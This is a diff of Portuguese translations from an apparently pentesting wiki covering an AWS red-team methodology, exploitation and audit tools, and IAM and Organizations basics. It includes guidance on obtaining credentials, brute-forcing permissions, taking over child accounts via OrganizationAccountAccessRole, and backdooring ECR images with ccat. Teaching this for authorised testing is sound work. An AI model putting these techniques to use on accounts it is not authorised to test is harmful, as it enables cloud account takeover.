- **Má configuração:** Atribuir vários projetos a uma única rede Secure Compute sem o devido isolamento.
|
||||
- **Risco:** Exposição de IP compartilhado aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros.
|
||||
- **Risco:** Exposição compartilhada de IP aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros.
|
||||
5. **Gerenciamento Inadequado de Endereços IP**
|
||||
- **Má configuração:** Falha em gerenciar ou rotacionar endereços IP dedicados adequadamente.
|
||||
- **Risco:** Spoofing de IP, vulnerabilidades de rastreamento e potencial blacklist se os IPs estiverem associados a atividades maliciosas.
|
||||
@@ -409,7 +409,7 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
|
||||
7. **Falha em Lidar com Segredos de Bypass de Forma Segura**
|
||||
- **Má configuração:** Expor ou manusear incorretamente segredos usados para contornar proteções de implantação.
|
||||
- **Risco:** Acesso não autorizado a implantações protegidas, permitindo que atacantes manipulem ou implantem código malicioso.
|
||||
8. **Ignorar Configurações de Failover de Região**
|
||||
8. **Ignorando Configurações de Failover de Região**
|
||||
- **Má configuração:** Não configurar regiões de failover passivas ou configurar incorretamente as configurações de failover.
|
||||
- **Risco:** Tempo de inatividade do serviço durante interrupções na região primária, levando a disponibilidade reduzida e potencial inconsistência de dados.
|
||||
9. **Excedendo Limites de Conexão de Peering VPC**
|
||||
@@ -423,7 +423,7 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
|
||||
|
||||
### Variáveis de Ambiente
|
||||
|
||||
**Propósito:** Gerenciar variáveis específicas do ambiente e segredos usados por todos os projetos.
|
||||
**Propósito:** Gerenciar variáveis e segredos específicos do ambiente usados por todos os projetos.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**Antes de começar o pentesting** em um **AWS** ambiente, há algumas **coisas básicas que você precisa saber** sobre como o AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
|
||||
**Antes de começar o pentesting** em um **ambiente AWS**, há algumas **coisas básicas que você precisa saber** sobre como a AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
|
||||
|
||||
Conceitos como hierarquia organizacional, IAM e outros conceitos básicos são explicados em:
|
||||
|
||||
@@ -29,7 +29,7 @@ Ferramentas para simular ataques:
|
||||
|
||||
## Metodologia de Pentester/Red Team da AWS
|
||||
|
||||
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** ao que, e como os serviços internos da AWS e os **serviços externos** estão conectados.
|
||||
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos da AWS e os **serviços externos** estão conectados.
|
||||
|
||||
Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso:
|
||||
|
||||
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**.
|
||||
|
||||
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\
|
||||
Verifique **como fazer a enumeração e a força bruta** em:
|
||||
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar forçando** para descobri-los.\
|
||||
Verifique **como fazer a numeração e a força bruta** em:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
@@ -152,22 +152,22 @@ https://book.hacktricks.xyz/
|
||||
|
||||
### Da conta root/gestão
|
||||
|
||||
Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e concedendo a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
|
||||
Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e dando a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, para acessar como administrador uma conta filha, você precisa:
|
||||
|
||||
- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
|
||||
- **Comprometer** a **conta de gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
|
||||
- Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts`
|
||||
- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas descobertas anteriormente**.
|
||||
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se passe por ela, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
|
||||
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se impersonifique, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
|
||||
|
||||
## Ferramentas Automatizadas
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby.
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, multi-threaded, escrita em Ruby.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
@@ -233,14 +233,14 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubra os usuários mais privilegiados no ambiente AWS escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. Você pode encontrar a **definição de políticas privilegiadas** na função **`Check-PrivilegedPolicy`** em [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes de nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes em nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
|
||||
- Observe que o pacu **verifica apenas seus próprios caminhos de privesc** (não em toda a conta).
|
||||
```bash
|
||||
# Install
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **escalonamento de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **elevação de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\
|
||||
Ele mostrará clientes **super privilegiados** potenciais, políticas **inline** e **políticas** do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
|
||||
Ele mostrará clientes **com privilégios excessivos** potenciais, políticas inline e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront.
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e do CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** em snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
|
||||
|
||||
### Auditoria
|
||||
|
||||
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes de nuvem.
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes em nuvem.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -334,8 +334,8 @@ scout aws -p dev
|
||||
|
||||
### Auditoria Contínua
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações possuem em uma ferramenta leve e flexível, com métricas e relatórios unificados.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações têm em uma ferramenta leve e flexível, com métricas e relatórios unificados.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura de **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert é uma estrutura de análise de dados **em tempo real** sem servidor que permite que você **ingeste, analise e envie alertas** sobre dados de qualquer ambiente, **usando fontes de dados e lógica de alerta que você define**. Equipes de segurança da informação usam o StreamAlert para escanear terabytes de dados de log todos os dias para detecção e resposta a incidentes.
|
||||
|
||||
## DEBUG: Capturar solicitações do AWS cli
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si.
|
||||
|
||||
Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre implantações.
|
||||
Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações.
|
||||
|
||||
Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.
|
||||
|
||||
@@ -33,29 +33,29 @@ aws organizations create-account --account-name testingaccount --email testingac
|
||||
```
|
||||
### **Unidades de Organização**
|
||||
|
||||
As contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Observe que uma OU pode ter outras OUs como filhas.
|
||||
Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Uma **política de controle de serviço (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
|
||||
Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
|
||||
|
||||
Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
|
||||
A única maneira de contornar isso é comprometer também a **conta mestre** que configura as SCPs (a conta mestre não pode ser bloqueada).
|
||||
A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
|
||||
> Note que **as SCPs apenas restringem os principais na conta**, então outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta.
|
||||
|
||||
Exemplos de SCP:
|
||||
|
||||
- Negar completamente a conta root
|
||||
- Permitir apenas regiões específicas
|
||||
- Permitir apenas serviços na lista branca
|
||||
- Negar que GuardDuty, CloudTrail e S3 Public Block Access sejam
|
||||
- Negar o acesso ao GuardDuty, CloudTrail e S3 Public Block de
|
||||
|
||||
desativados
|
||||
ser desativado
|
||||
|
||||
- Negar que funções de segurança/resposta a incidentes sejam excluídas ou
|
||||
|
||||
@@ -96,7 +96,7 @@ Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, voc
|
||||
|
||||
Note que um novo **usuário admin** terá **menos permissões que o usuário root**.
|
||||
|
||||
Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este.
|
||||
Do ponto de vista da segurança, é recomendado criar outros usuários e evitar usar este.
|
||||
|
||||
### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
@@ -104,11 +104,11 @@ Um _usuário_ IAM é uma entidade que você cria na AWS para **representar a pes
|
||||
|
||||
Quando você cria um usuário IAM, você concede **permissões** tornando-o um **membro de um grupo de usuários** que tem políticas de permissão apropriadas anexadas (recomendado), ou **anexando políticas diretamente** ao usuário.
|
||||
|
||||
Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, a MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, o MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas, como AKHDNAPO86BSHKDIRYT
|
||||
- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas como AKHDNAPO86BSHKDIRYT
|
||||
- **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos).
|
||||
|
||||
Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\
|
||||
@@ -117,7 +117,7 @@ Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que vo
|
||||
### MFA - Autenticação de Múltiplos Fatores
|
||||
|
||||
É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
|
||||
Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o google authentication gratuitamente para ativar um MFA na AWS.
|
||||
Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.
|
||||
|
||||
Políticas com condições de MFA podem ser anexadas aos seguintes:
|
||||
|
||||
@@ -125,7 +125,7 @@ Políticas com condições de MFA podem ser anexadas aos seguintes:
|
||||
- Um recurso como um bucket Amazon S3, fila Amazon SQS ou tópico Amazon SNS
|
||||
- A política de confiança de um papel IAM que pode ser assumido por um usuário
|
||||
|
||||
Se você quiser **acessar via CLI** um recurso que **verifica a MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre a MFA.\
|
||||
Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\
|
||||
Note que **as credenciais de `AssumeRole` não contêm essas informações**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
@@ -147,7 +147,7 @@ Aqui estão algumas características importantes dos grupos de usuários:
|
||||
|
||||
### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
|
||||
Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
|
||||
|
||||
Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**.
|
||||
|
||||
@@ -155,9 +155,9 @@ Uma função IAM consiste em **dois tipos de políticas**: uma **política de co
|
||||
|
||||
O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para:
|
||||
|
||||
### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
### [Credenciais temporárias em IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
|
||||
**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **previne** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
|
||||
|
||||
### Políticas
|
||||
|
||||
@@ -169,7 +169,7 @@ São usadas para atribuir permissões. Existem 2 tipos:
|
||||
- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
|
||||
|
||||
Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
|
||||
Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
|
||||
Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -197,8 +197,8 @@ Os [campos específicos que podem ser usados para condições por serviço estã
|
||||
|
||||
#### Políticas Inline
|
||||
|
||||
Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
|
||||
Políticas inline são úteis se você quiser **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o Console de Gerenciamento da AWS para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
|
||||
Esse tipo de políticas é **atribuído diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
|
||||
As políticas inline são úteis se você deseja **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
|
||||
|
||||
#### Políticas de Bucket de Recursos
|
||||
|
||||
@@ -206,17 +206,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o
|
||||
|
||||
Se um principal não tiver uma negação explícita sobre eles, e uma política de recurso conceder acesso, então eles são permitidos.
|
||||
|
||||
### Limites do IAM
|
||||
### Limites IAM
|
||||
|
||||
Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
|
||||
Os limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
|
||||
|
||||
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
|
||||
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
|
||||
|
||||
**Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam.
|
||||
|
||||
### Políticas de Sessão
|
||||
|
||||
Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
|
||||
Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
|
||||
|
||||
Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
|
||||
```bash
|
||||
@@ -226,14 +226,14 @@ aws sts assume-role \
